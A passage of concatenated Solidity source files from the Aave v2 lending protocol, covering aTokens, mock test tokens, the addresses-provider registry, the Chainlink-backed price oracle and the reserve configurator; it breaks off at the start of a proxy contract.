newDecimals) internal { _decimals = newDecimals; } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {VariableDebtToken} from '../../protocol/tokenization/VariableDebtToken.sol'; contract MockVariableDebtToken is VariableDebtToken { function getRevision() internal pure override returns (uint256) { return 0x2; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {AToken} from '../../protocol/tokenization/AToken.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol'; contract MockAToken is AToken { function getRevision() internal pure override returns (uint256) { return 0x2; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {IAToken} from '../../interfaces/IAToken.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {VersionedInitializable} from '../libraries/aave-upgradeability/VersionedInitializable.sol'; import {IncentivizedERC20} from './IncentivizedERC20.sol'; import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol'; /** * @title Aave ERC20 AToken * @dev Implementation of the interest bearing token for the Aave protocol * @author Aave */ contract AToken is VersionedInitializable, IncentivizedERC20('ATOKEN_IMPL', 'ATOKEN_IMPL', 0), IAToken { using WadRayMath for uint256; using SafeERC20 for IERC20; bytes public constant EIP712_REVISION = bytes('1'); bytes32 internal constant EIP712_DOMAIN = keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'); bytes32 public constant PERMIT_TYPEHASH = keccak256('Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)'); uint256 public constant ATOKEN_REVISION = 0x1; /// @dev owner => next valid nonce to submit with permit() mapping(address => uint256) public _nonces; bytes32 public DOMAIN_SEPARATOR; ILendingPool internal _pool; address internal _treasury; address internal _underlyingAsset; IAaveIncentivesController internal _incentivesController; modifier onlyLendingPool { require(_msgSender() == address(_pool), Errors.CT_CALLER_MUST_BE_LENDING_POOL); _; } function getRevision() internal pure virtual override returns (uint256) { return ATOKEN_REVISION; } /** * @dev Initializes the aToken * @param pool The address of the lending pool where this aToken will be used * @param treasury The address of the Aave treasury, receiving the fees on this aToken * @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH) * @param incentivesController The smart contract managing potential incentives distribution * @param aTokenDecimals The decimals of the aToken, same as the underlying asset's * @param aTokenName The name of the aToken * @param aTokenSymbol The symbol of the aToken */ function initialize( ILendingPool pool, address treasury, address underlyingAsset, IAaveIncentivesController incentivesController, uint8 aTokenDecimals, string calldata aTokenName, string calldata aTokenSymbol, bytes calldata params ) external override initializer { uint256 chainId; //solium-disable-next-line assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( EIP712_DOMAIN, keccak256(bytes(aTokenName)), keccak256(EIP712_REVISION), chainId, address(this) ) ); _setName(aTokenName); _setSymbol(aTokenSymbol); _setDecimals(aTokenDecimals); _pool = pool; _treasury = treasury; _underlyingAsset = underlyingAsset; _incentivesController = incentivesController; emit Initialized( underlyingAsset, address(pool), treasury, address(incentivesController), aTokenDecimals, aTokenName, aTokenSymbol, params ); } /** * @dev Burns aTokens from `user` and sends the equivalent amount of underlying to `receiverOfUnderlying` * - Only callable by the LendingPool, as extra state updates there need to be managed * @param user The owner of the aTokens, getting them burned * @param receiverOfUnderlying The address that will receive the underlying * @param amount The amount being burned * @param index The new liquidity index of the reserve **/ function burn( address user, address receiverOfUnderlying, uint256 amount, uint256 index ) external override onlyLendingPool { uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_BURN_AMOUNT); _burn(user, amountScaled); IERC20(_underlyingAsset).safeTransfer(receiverOfUnderlying, amount); emit Transfer(user, address(0), amount); emit Burn(user, receiverOfUnderlying, amount, index); } /** * @dev Mints `amount` aTokens to `user` * - Only callable by the LendingPool, as extra state updates there need to be managed * @param user The address receiving the minted tokens * @param amount The amount of tokens getting minted * @param index The new liquidity index of the reserve * @return `true` if the the previous balance of the user was 0 */ function mint( address user, uint256 amount, uint256 index ) external override onlyLendingPool returns (bool) { uint256 previousBalance = super.balanceOf(user); uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_MINT_AMOUNT); _mint(user, amountScaled); emit Transfer(address(0), user, amount); emit Mint(user, amount, index); return previousBalance == 0; } /** * @dev Mints aTokens to the reserve treasury * - Only callable by the LendingPool * @param amount The amount of tokens getting minted * @param index The new liquidity index of the reserve */ function mintToTreasury(uint256 amount, uint256 index) external override onlyLendingPool { if (amount == 0) { return; } address treasury = _treasury; // Compared to the normal mint, we don't check for rounding errors. // The amount to mint can easily be very small since it is a fraction of the interest ccrued. // In that case, the treasury will experience a (very small) loss, but it // wont cause potentially valid transactions to fail. _mint(treasury, amount.rayDiv(index)); emit Transfer(address(0), treasury, amount); emit Mint(treasury, amount, index); } /** * @dev Transfers aTokens in the event of a borrow being liquidated, in case the liquidators reclaims the aToken * - Only callable by the LendingPool * @param from The address getting liquidated, current owner of the aTokens * @param to The recipient * @param value The amount of tokens getting transferred **/ function transferOnLiquidation( address from, address to, uint256 value ) external override onlyLendingPool { // Being a normal transfer, the Transfer() and BalanceTransfer() are emitted // so no need to emit a specific event here _transfer(from, to, value, false); emit Transfer(from, to, value); } /** * @dev Calculates the balance of the user: principal balance + interest generated by the principal * @param user The user whose balance is calculated * @return The balance of the user **/ function balanceOf(address user) public view override(IncentivizedERC20, IERC20) returns (uint256) { return super.balanceOf(user).rayMul(_pool.getReserveNormalizedIncome(_underlyingAsset)); } /** * @dev Returns the scaled balance of the user. The scaled balance is the sum of all the * updated stored balance divided by the reserve's liquidity index at the moment of the update * @param user The user whose balance is calculated * @return The scaled balance of the user **/ function scaledBalanceOf(address user) external view override returns (uint256) { return super.balanceOf(user); } /** * @dev Returns the scaled balance of the user and the scaled total supply. * @param user The address of the user * @return The scaled balance of the user * @return The scaled balance and the scaled total supply **/ function getScaledUserBalanceAndSupply(address user) external view override returns (uint256, uint256) { return (super.balanceOf(user), super.totalSupply()); } /** * @dev calculates the total supply of the specific aToken * since the balance of every single user increases over time, the total supply * does that too. * @return the current total supply **/ function totalSupply() public view override(IncentivizedERC20, IERC20) returns (uint256) { uint256 currentSupplyScaled = super.totalSupply(); if (currentSupplyScaled == 0) { return 0; } return currentSupplyScaled.rayMul(_pool.getReserveNormalizedIncome(_underlyingAsset)); } /** * @dev Returns the scaled total supply of the variable debt token. Represents sum(debt/index) * @return the scaled total supply **/ function scaledTotalSupply() public view virtual override returns (uint256) { return super.totalSupply(); } /** * @dev Returns the address of the Aave treasury, receiving the fees on this aToken **/ function RESERVE_TREASURY_ADDRESS() public view returns (address) { return _treasury; } /** * @dev Returns the address of the underlying asset of this aToken (E.g. WETH for aWETH) **/ function UNDERLYING_ASSET_ADDRESS() public view returns (address) { return _underlyingAsset; } /** * @dev Returns the address of the lending pool where this aToken is used **/ function POOL() public view returns (ILendingPool) { return _pool; } /** * @dev For internal usage in the logic of the parent contract IncentivizedERC20 **/ function _getIncentivesController() internal view override returns (IAaveIncentivesController) { return _incentivesController; } /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view override returns (IAaveIncentivesController) { return _getIncentivesController(); } /** * @dev Transfers the underlying asset to `target`. Used by the LendingPool to transfer * assets in borrow(), withdraw() and flashLoan() * @param target The recipient of the aTokens * @param amount The amount getting transferred * @return The amount transferred **/ function transferUnderlyingTo(address target, uint256 amount) external override onlyLendingPool returns (uint256) { IERC20(_underlyingAsset).safeTransfer(target, amount); return amount; } /** * @dev Invoked to execute actions on the aToken side after a repayment. * @param user The user executing the repayment * @param amount The amount getting repaid **/ function handleRepayment(address user, uint256 amount) external override onlyLendingPool {} /** * @dev implements the permit function as for * https://github.com/ethereum/EIPs/blob/8a34d644aacf0f9f8f00815307fd7dd5da07655f/EIPS/eip-2612.md * @param owner The owner of the funds * @param spender The spender * @param value The amount * @param deadline The deadline timestamp, type(uint256).max for max deadline * @param v Signature param * @param s Signature param * @param r Signature param */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { require(owner != address(0), 'INVALID_OWNER'); //solium-disable-next-line require(block.timestamp <= deadline, 'INVALID_EXPIRATION'); uint256 currentValidNonce = _nonces[owner]; bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, currentValidNonce, deadline)) ) ); require(owner == ecrecover(digest, v, r, s), 'INVALID_SIGNATURE'); _nonces[owner] = currentValidNonce.add(1); _approve(owner, spender, value); } /** * @dev Transfers the aTokens between two users. Validates the transfer * (ie checks for valid HF after the transfer) if required * @param from The source address * @param to The destination address * @param amount The amount getting transferred * @param validate `true` if the transfer needs to be validated **/ function _transfer( address from, address to, uint256 amount, bool validate ) internal { address underlyingAsset = _underlyingAsset; ILendingPool pool = _pool; uint256 index = pool.getReserveNormalizedIncome(underlyingAsset); uint256 fromBalanceBefore = super.balanceOf(from).rayMul(index); uint256 toBalanceBefore = super.balanceOf(to).rayMul(index); super._transfer(from, to, amount.rayDiv(index)); if (validate) { pool.finalizeTransfer(underlyingAsset, from, to, amount, fromBalanceBefore, toBalanceBefore); } emit BalanceTransfer(from, to, amount, index); } /** * @dev Overrides the parent _transfer to force validated transfer() and transferFrom() * @param from The source address * @param to The destination address * @param amount The amount getting transferred **/ function _transfer( address from, address to, uint256 amount ) internal override { _transfer(from, to, amount, true); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {IDelegationToken} from '../../interfaces/IDelegationToken.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {AToken} from './AToken.sol'; /** * @title Aave AToken enabled to delegate voting power of the underlying asset to a different address * @dev The underlying asset needs to be compatible with the COMP delegation interface * @author Aave */ contract DelegationAwareAToken is AToken { modifier onlyPoolAdmin { require( _msgSender() == ILendingPool(_pool).getAddressesProvider().getPoolAdmin(), Errors.CALLER_NOT_POOL_ADMIN ); _; } /** * @dev Delegates voting power of the underlying asset to a `delegatee` address * @param delegatee The address that will receive the delegation **/ function delegateUnderlyingTo(address delegatee) external onlyPoolAdmin { IDelegationToken(_underlyingAsset).delegate(delegatee); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title IDelegationToken * @dev Implements an interface for tokens with delegation COMP/UNI compatible * @author Aave **/ interface IDelegationToken { function delegate(address delegatee) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Ownable} from '../../dependencies/openzeppelin/contracts/Ownable.sol'; import { ILendingPoolAddressesProviderRegistry } from '../../interfaces/ILendingPoolAddressesProviderRegistry.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; /** * @title LendingPoolAddressesProviderRegistry contract * @dev Main registry of LendingPoolAddressesProvider of multiple Aave protocol's markets * - Used for indexing purposes of Aave protocol's markets * - The id assigned to a LendingPoolAddressesProvider refers to the market it is connected with, * for example with `0` for the Aave main market and `1` for the next created * @author Aave **/ contract LendingPoolAddressesProviderRegistry is Ownable, ILendingPoolAddressesProviderRegistry { mapping(address => uint256) private _addressesProviders; address[] private _addressesProvidersList; /** * @dev Returns the list of registered addresses provider * @return The list of addresses provider, potentially containing address(0) elements **/ function getAddressesProvidersList() external view override returns (address[] memory) { address[] memory addressesProvidersList = _addressesProvidersList; uint256 maxLength = addressesProvidersList.length; address[] memory activeProviders = new address[](maxLength); for (uint256 i = 0; i < maxLength; i++) { if (_addressesProviders[addressesProvidersList[i]] > 0) { activeProviders[i] = addressesProvidersList[i]; } } return activeProviders; } /** * @dev Registers an addresses provider * @param provider The address of the new LendingPoolAddressesProvider * @param id The id for the new LendingPoolAddressesProvider, referring to the market it belongs to **/ function registerAddressesProvider(address provider, uint256 id) external override onlyOwner { require(id != 0, Errors.LPAPR_INVALID_ADDRESSES_PROVIDER_ID); _addressesProviders[provider] = id; _addToAddressesProvidersList(provider); emit AddressesProviderRegistered(provider); } /** * @dev Removes a LendingPoolAddressesProvider from the list of registered addresses provider * @param provider The LendingPoolAddressesProvider address **/ function unregisterAddressesProvider(address provider) external override onlyOwner { require(_addressesProviders[provider] > 0, Errors.LPAPR_PROVIDER_NOT_REGISTERED); _addressesProviders[provider] = 0; emit AddressesProviderUnregistered(provider); } /** * @dev Returns the id on a registered LendingPoolAddressesProvider * @return The id or 0 if the LendingPoolAddressesProvider is not registered */ function getAddressesProviderIdByAddress(address addressesProvider) external view override returns (uint256) { return _addressesProviders[addressesProvider]; } function _addToAddressesProvidersList(address provider) internal { uint256 providersCount = _addressesProvidersList.length; for (uint256 i = 0; i < providersCount; i++) { if (_addressesProvidersList[i] == provider) { return; } } _addressesProvidersList.push(provider); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title LendingPoolAddressesProviderRegistry contract * @dev Main registry of LendingPoolAddressesProvider of multiple Aave protocol's markets * - Used for indexing purposes of Aave protocol's markets * - The id assigned to a LendingPoolAddressesProvider refers to the market it is connected with, * for example with `0` for the Aave main market and `1` for the next created * @author Aave **/ interface ILendingPoolAddressesProviderRegistry { event AddressesProviderRegistered(address indexed newAddress); event AddressesProviderUnregistered(address indexed newAddress); function getAddressesProvidersList() external view returns (address[] memory); function getAddressesProviderIdByAddress(address addressesProvider) external view returns (uint256); function registerAddressesProvider(address provider, uint256 id) external; function unregisterAddressesProvider(address provider) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {IPriceOracleGetter} from '../interfaces/IPriceOracleGetter.sol'; import {IChainlinkAggregator} from '../interfaces/IChainlinkAggregator.sol'; import {SafeERC20} from '../dependencies/openzeppelin/contracts/SafeERC20.sol'; /// @title AaveOracle /// @author Aave /// @notice Proxy smart contract to get the price of an asset from a price source, with Chainlink Aggregator /// smart contracts as primary option /// - If the returned price by a Chainlink aggregator is <= 0, the call is forwarded to a fallbackOracle /// - Owned by the Aave governance system, allowed to add sources for assets, replace them /// and change the fallbackOracle contract AaveOracle is IPriceOracleGetter, Ownable { using SafeERC20 for IERC20; event WethSet(address indexed weth); event AssetSourceUpdated(address indexed asset, address indexed source); event FallbackOracleUpdated(address indexed fallbackOracle); mapping(address => IChainlinkAggregator) private assetsSources; IPriceOracleGetter private _fallbackOracle; address public immutable WETH; /// @notice Constructor /// @param assets The addresses of the assets /// @param sources The address of the source of each asset /// @param fallbackOracle The address of the fallback oracle to use if the data of an /// aggregator is not consistent constructor( address[] memory assets, address[] memory sources, address fallbackOracle, address weth ) public { _setFallbackOracle(fallbackOracle); _setAssetsSources(assets, sources); WETH = weth; emit WethSet(weth); } /// @notice External function called by the Aave governance to set or replace sources of assets /// @param assets The addresses of the assets /// @param sources The address of the source of each asset function setAssetSources(address[] calldata assets, address[] calldata sources) external onlyOwner { _setAssetsSources(assets, sources); } /// @notice Sets the fallbackOracle /// - Callable only by the Aave governance /// @param fallbackOracle The address of the fallbackOracle function setFallbackOracle(address fallbackOracle) external onlyOwner { _setFallbackOracle(fallbackOracle); } /// @notice Internal function to set the sources for each asset /// @param assets The addresses of the assets /// @param sources The address of the source of each asset function _setAssetsSources(address[] memory assets, address[] memory sources) internal { require(assets.length == sources.length, 'INCONSISTENT_PARAMS_LENGTH'); for (uint256 i = 0; i < assets.length; i++) { assetsSources[assets[i]] = IChainlinkAggregator(sources[i]); emit AssetSourceUpdated(assets[i], sources[i]); } } /// @notice Internal function to set the fallbackOracle /// @param fallbackOracle The address of the fallbackOracle function _setFallbackOracle(address fallbackOracle) internal { _fallbackOracle = IPriceOracleGetter(fallbackOracle); emit FallbackOracleUpdated(fallbackOracle); } /// @notice Gets an asset price by address /// @param asset The asset address function getAssetPrice(address asset) public view override returns (uint256) { IChainlinkAggregator source = assetsSources[asset]; if (asset == WETH) { return 1 ether; } else if (address(source) == address(0)) { return _fallbackOracle.getAssetPrice(asset); } else { int256 price = IChainlinkAggregator(source).latestAnswer(); if (price > 0) { return uint256(price); } else { return _fallbackOracle.getAssetPrice(asset); } } } /// @notice Gets a list of prices from a list of assets addresses /// @param assets The list of assets addresses function getAssetsPrices(address[] calldata assets) external view returns (uint256[] memory) { uint256[] memory prices = new uint256[](assets.length); for (uint256 i = 0; i < assets.length; i++) { prices[i] = getAssetPrice(assets[i]); } return prices; } /// @notice Gets the address of the source for an asset address /// @param asset The address of the asset /// @return address The address of the source function getSourceOfAsset(address asset) external view returns (address) { return address(assetsSources[asset]); } /// @notice Gets the address of the fallback oracle /// @return address The addres of the fallback oracle function getFallbackOracle() external view returns (address) { return address(_fallbackOracle); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface IChainlinkAggregator { function latestAnswer() external view returns (int256); function latestTimestamp() external view returns (uint256); function latestRound() external view returns (uint256); function getAnswer(uint256 roundId) external view returns (int256); function getTimestamp(uint256 roundId) external view returns (uint256); event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 timestamp); event NewRound(uint256 indexed roundId, address indexed startedBy); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {VersionedInitializable} from '../libraries/aave-upgradeability/VersionedInitializable.sol'; import { InitializableImmutableAdminUpgradeabilityProxy } from '../libraries/aave-upgradeability/InitializableImmutableAdminUpgradeabilityProxy.sol'; import {ReserveConfiguration} from '../libraries/configuration/ReserveConfiguration.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {IERC20Detailed} from '../../dependencies/openzeppelin/contracts/IERC20Detailed.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {PercentageMath} from '../libraries/math/PercentageMath.sol'; import {DataTypes} from '../libraries/types/DataTypes.sol'; import {IInitializableDebtToken} from '../../interfaces/IInitializableDebtToken.sol'; import {IInitializableAToken} from '../../interfaces/IInitializableAToken.sol'; import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol'; import {ILendingPoolConfigurator} from '../../interfaces/ILendingPoolConfigurator.sol'; /** * @title LendingPoolConfigurator contract * @author Aave * @dev Implements the configuration methods for the Aave protocol **/ contract LendingPoolConfigurator is VersionedInitializable, ILendingPoolConfigurator { using SafeMath for uint256; using PercentageMath for uint256; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; ILendingPoolAddressesProvider internal addressesProvider; ILendingPool internal pool; modifier onlyPoolAdmin { require(addressesProvider.getPoolAdmin() == msg.sender, Errors.CALLER_NOT_POOL_ADMIN); _; } modifier onlyEmergencyAdmin { require( addressesProvider.getEmergencyAdmin() == msg.sender, Errors.LPC_CALLER_NOT_EMERGENCY_ADMIN ); _; } uint256 internal constant CONFIGURATOR_REVISION = 0x1; function getRevision() internal pure override returns (uint256) { return CONFIGURATOR_REVISION; } function initialize(ILendingPoolAddressesProvider provider) public initializer { addressesProvider = provider; pool = ILendingPool(addressesProvider.getLendingPool()); } /** * @dev Initializes reserves in batch **/ function batchInitReserve(InitReserveInput[] calldata input) external onlyPoolAdmin { ILendingPool cachedPool = pool; for (uint256 i = 0; i < input.length; i++) { _initReserve(cachedPool, input[i]); } } function _initReserve(ILendingPool pool, InitReserveInput calldata input) internal { address aTokenProxyAddress = _initTokenWithProxy( input.aTokenImpl, abi.encodeWithSelector( IInitializableAToken.initialize.selector, pool, input.treasury, input.underlyingAsset, IAaveIncentivesController(input.incentivesController), input.underlyingAssetDecimals, input.aTokenName, input.aTokenSymbol, input.params ) ); address stableDebtTokenProxyAddress = _initTokenWithProxy( input.stableDebtTokenImpl, abi.encodeWithSelector( IInitializableDebtToken.initialize.selector, pool, input.underlyingAsset, IAaveIncentivesController(input.incentivesController), input.underlyingAssetDecimals, input.stableDebtTokenName, input.stableDebtTokenSymbol, input.params ) ); address variableDebtTokenProxyAddress = _initTokenWithProxy( input.variableDebtTokenImpl, abi.encodeWithSelector( IInitializableDebtToken.initialize.selector, pool, input.underlyingAsset, IAaveIncentivesController(input.incentivesController), input.underlyingAssetDecimals, input.variableDebtTokenName, input.variableDebtTokenSymbol, input.params ) ); pool.initReserve( input.underlyingAsset, aTokenProxyAddress, stableDebtTokenProxyAddress, variableDebtTokenProxyAddress, input.interestRateStrategyAddress ); DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(input.underlyingAsset); currentConfig.setDecimals(input.underlyingAssetDecimals); currentConfig.setActive(true); currentConfig.setFrozen(false); pool.setConfiguration(input.underlyingAsset, currentConfig.data); emit ReserveInitialized( input.underlyingAsset, aTokenProxyAddress, stableDebtTokenProxyAddress, variableDebtTokenProxyAddress, input.interestRateStrategyAddress ); } /** * @dev Updates the aToken implementation for the reserve **/ function updateAToken(UpdateATokenInput calldata input) external onlyPoolAdmin { ILendingPool cachedPool = pool; DataTypes.ReserveData memory reserveData = cachedPool.getReserveData(input.asset); (, , , uint256 decimals, ) = cachedPool.getConfiguration(input.asset).getParamsMemory(); bytes memory encodedCall = abi.encodeWithSelector( IInitializableAToken.initialize.selector, cachedPool, input.treasury, input.asset, input.incentivesController, decimals, input.name, input.symbol, input.params ); _upgradeTokenImplementation( reserveData.aTokenAddress, input.implementation, encodedCall ); emit ATokenUpgraded(input.asset, reserveData.aTokenAddress, input.implementation); } /** * @dev Updates the stable debt token implementation for the reserve **/ function updateStableDebtToken(UpdateDebtTokenInput calldata input) external onlyPoolAdmin { ILendingPool cachedPool = pool; DataTypes.ReserveData memory reserveData = cachedPool.getReserveData(input.asset); (, , , uint256 decimals, ) = cachedPool.getConfiguration(input.asset).getParamsMemory(); bytes memory encodedCall = abi.encodeWithSelector( IInitializableDebtToken.initialize.selector, cachedPool, input.asset, input.incentivesController, decimals, input.name, input.symbol, input.params ); _upgradeTokenImplementation( reserveData.stableDebtTokenAddress, input.implementation, encodedCall ); emit StableDebtTokenUpgraded( input.asset, reserveData.stableDebtTokenAddress, input.implementation ); } /** * @dev Updates the variable debt token implementation for the asset **/ function updateVariableDebtToken(UpdateDebtTokenInput calldata input) external onlyPoolAdmin { ILendingPool cachedPool = pool; DataTypes.ReserveData memory reserveData = cachedPool.getReserveData(input.asset); (, , , uint256 decimals, ) = cachedPool.getConfiguration(input.asset).getParamsMemory(); bytes memory encodedCall = abi.encodeWithSelector( IInitializableDebtToken.initialize.selector, cachedPool, input.asset, input.incentivesController, decimals, input.name, input.symbol, input.params ); _upgradeTokenImplementation( reserveData.variableDebtTokenAddress, input.implementation, encodedCall ); emit VariableDebtTokenUpgraded( input.asset, reserveData.variableDebtTokenAddress, input.implementation ); } /** * @dev Enables borrowing on a reserve * @param asset The address of the underlying asset of the reserve * @param stableBorrowRateEnabled True if stable borrow rate needs to be enabled by default on this reserve **/ function enableBorrowingOnReserve(address asset, bool stableBorrowRateEnabled) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setBorrowingEnabled(true); currentConfig.setStableRateBorrowingEnabled(stableBorrowRateEnabled); pool.setConfiguration(asset, currentConfig.data); emit BorrowingEnabledOnReserve(asset, stableBorrowRateEnabled); } /** * @dev Disables borrowing on a reserve * @param asset The address of the underlying asset of the reserve **/ function disableBorrowingOnReserve(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setBorrowingEnabled(false); pool.setConfiguration(asset, currentConfig.data); emit BorrowingDisabledOnReserve(asset); } /** * @dev Configures the reserve collateralization parameters * all the values are expressed in percentages with two decimals of precision. A valid value is 10000, which means 100.00% * @param asset The address of the underlying asset of the reserve * @param ltv The loan to value of the asset when used as collateral * @param liquidationThreshold The threshold at which loans using this asset as collateral will be considered undercollateralized * @param liquidationBonus The bonus liquidators receive to liquidate this asset. The values is always above 100%. A value of 105% * means the liquidator will receive a 5% bonus **/ function configureReserveAsCollateral( address asset, uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus ) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); //validation of the parameters: the LTV can //only be lower or equal than the liquidation threshold //(otherwise a loan against the asset would cause instantaneous liquidation) require(ltv <= liquidationThreshold, Errors.LPC_INVALID_CONFIGURATION); if (liquidationThreshold != 0) { //liquidation bonus must be bigger than 100.00%, otherwise the liquidator would receive less //collateral than needed to cover the debt require( liquidationBonus > PercentageMath.PERCENTAGE_FACTOR, Errors.LPC_INVALID_CONFIGURATION ); //if threshold * bonus is less than PERCENTAGE_FACTOR, it's guaranteed that at the moment //a loan is taken there is enough collateral available to cover the liquidation bonus require( liquidationThreshold.percentMul(liquidationBonus) <= PercentageMath.PERCENTAGE_FACTOR, Errors.LPC_INVALID_CONFIGURATION ); } else { require(liquidationBonus == 0, Errors.LPC_INVALID_CONFIGURATION); //if the liquidation threshold is being set to 0, // the reserve is being disabled as collateral. To do so, //we need to ensure no liquidity is deposited _checkNoLiquidity(asset); } currentConfig.setLtv(ltv); currentConfig.setLiquidationThreshold(liquidationThreshold); currentConfig.setLiquidationBonus(liquidationBonus); pool.setConfiguration(asset, currentConfig.data); emit CollateralConfigurationChanged(asset, ltv, liquidationThreshold, liquidationBonus); } /** * @dev Enable stable rate borrowing on a reserve * @param asset The address of the underlying asset of the reserve **/ function enableReserveStableRate(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setStableRateBorrowingEnabled(true); pool.setConfiguration(asset, currentConfig.data); emit StableRateEnabledOnReserve(asset); } /** * @dev Disable stable rate borrowing on a reserve * @param asset The address of the underlying asset of the reserve **/ function disableReserveStableRate(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setStableRateBorrowingEnabled(false); pool.setConfiguration(asset, currentConfig.data); emit StableRateDisabledOnReserve(asset); } /** * @dev Activates a reserve * @param asset The address of the underlying asset of the reserve **/ function activateReserve(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setActive(true); pool.setConfiguration(asset, currentConfig.data); emit ReserveActivated(asset); } /** * @dev Deactivates a reserve * @param asset The address of the underlying asset of the reserve **/ function deactivateReserve(address asset) external onlyPoolAdmin { _checkNoLiquidity(asset); DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setActive(false); pool.setConfiguration(asset, currentConfig.data); emit ReserveDeactivated(asset); } /** * @dev Freezes a reserve. A frozen reserve doesn't allow any new deposit, borrow or rate swap * but allows repayments, liquidations, rate rebalances and withdrawals * @param asset The address of the underlying asset of the reserve **/ function freezeReserve(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setFrozen(true); pool.setConfiguration(asset, currentConfig.data); emit ReserveFrozen(asset); } /** * @dev Unfreezes a reserve * @param asset The address of the underlying asset of the reserve **/ function unfreezeReserve(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setFrozen(false); pool.setConfiguration(asset, currentConfig.data); emit ReserveUnfrozen(asset); } /** * @dev Updates the reserve factor of a reserve * @param asset The address of the underlying asset of the reserve * @param reserveFactor The new reserve factor of the reserve **/ function setReserveFactor(address asset, uint256 reserveFactor) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setReserveFactor(reserveFactor); pool.setConfiguration(asset, currentConfig.data); emit ReserveFactorChanged(asset, reserveFactor); } /** * @dev Sets the interest rate strategy of a reserve * @param asset The address of the underlying asset of the reserve * @param rateStrategyAddress The new address of the interest strategy contract **/ function setReserveInterestRateStrategyAddress(address asset, address rateStrategyAddress) external onlyPoolAdmin { pool.setReserveInterestRateStrategyAddress(asset, rateStrategyAddress); emit ReserveInterestRateStrategyChanged(asset, rateStrategyAddress); } /** * @dev pauses or unpauses all the actions of the protocol, including aToken transfers * @param val true if protocol needs to be paused, false otherwise **/ function setPoolPause(bool val) external onlyEmergencyAdmin { pool.setPause(val); } function _initTokenWithProxy(address implementation, bytes memory initParams) internal returns (address) { InitializableImmutableAdminUpgradeabilityProxy proxy = new InitializableImmutableAdminUpgradeabilityProxy(address(this)); proxy.initialize(implementation, initParams); return address(proxy); } function _upgradeTokenImplementation( address proxyAddress, address implementation, bytes memory initParams ) internal { InitializableImmutableAdminUpgradeabilityProxy proxy = InitializableImmutableAdminUpgradeabilityProxy(payable(proxyAddress)); proxy.upgradeToAndCall(implementation, initParams); } function _checkNoLiquidity(address asset) internal view { DataTypes.ReserveData memory reserveData = pool.getReserveData(asset); uint256 availableLiquidity = IERC20Detailed(asset).balanceOf(reserveData.aTokenAddress); require( availableLiquidity == 0 && reserveData.currentLiquidityRate == 0, Errors.LPC_RESERVE_LIQUIDITY_NOT_0 ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './BaseImmutableAdminUpgradeabilityProxy.sol'; import '../../../dependencies/openzeppelin/upgradeability/InitializableUpgradeabilityProxy.sol'; /** * @title InitializableAdminUpgradeabilityProxy * @dev Extends BaseAdminUpgradeabilityProxy with an initializer function */ contract 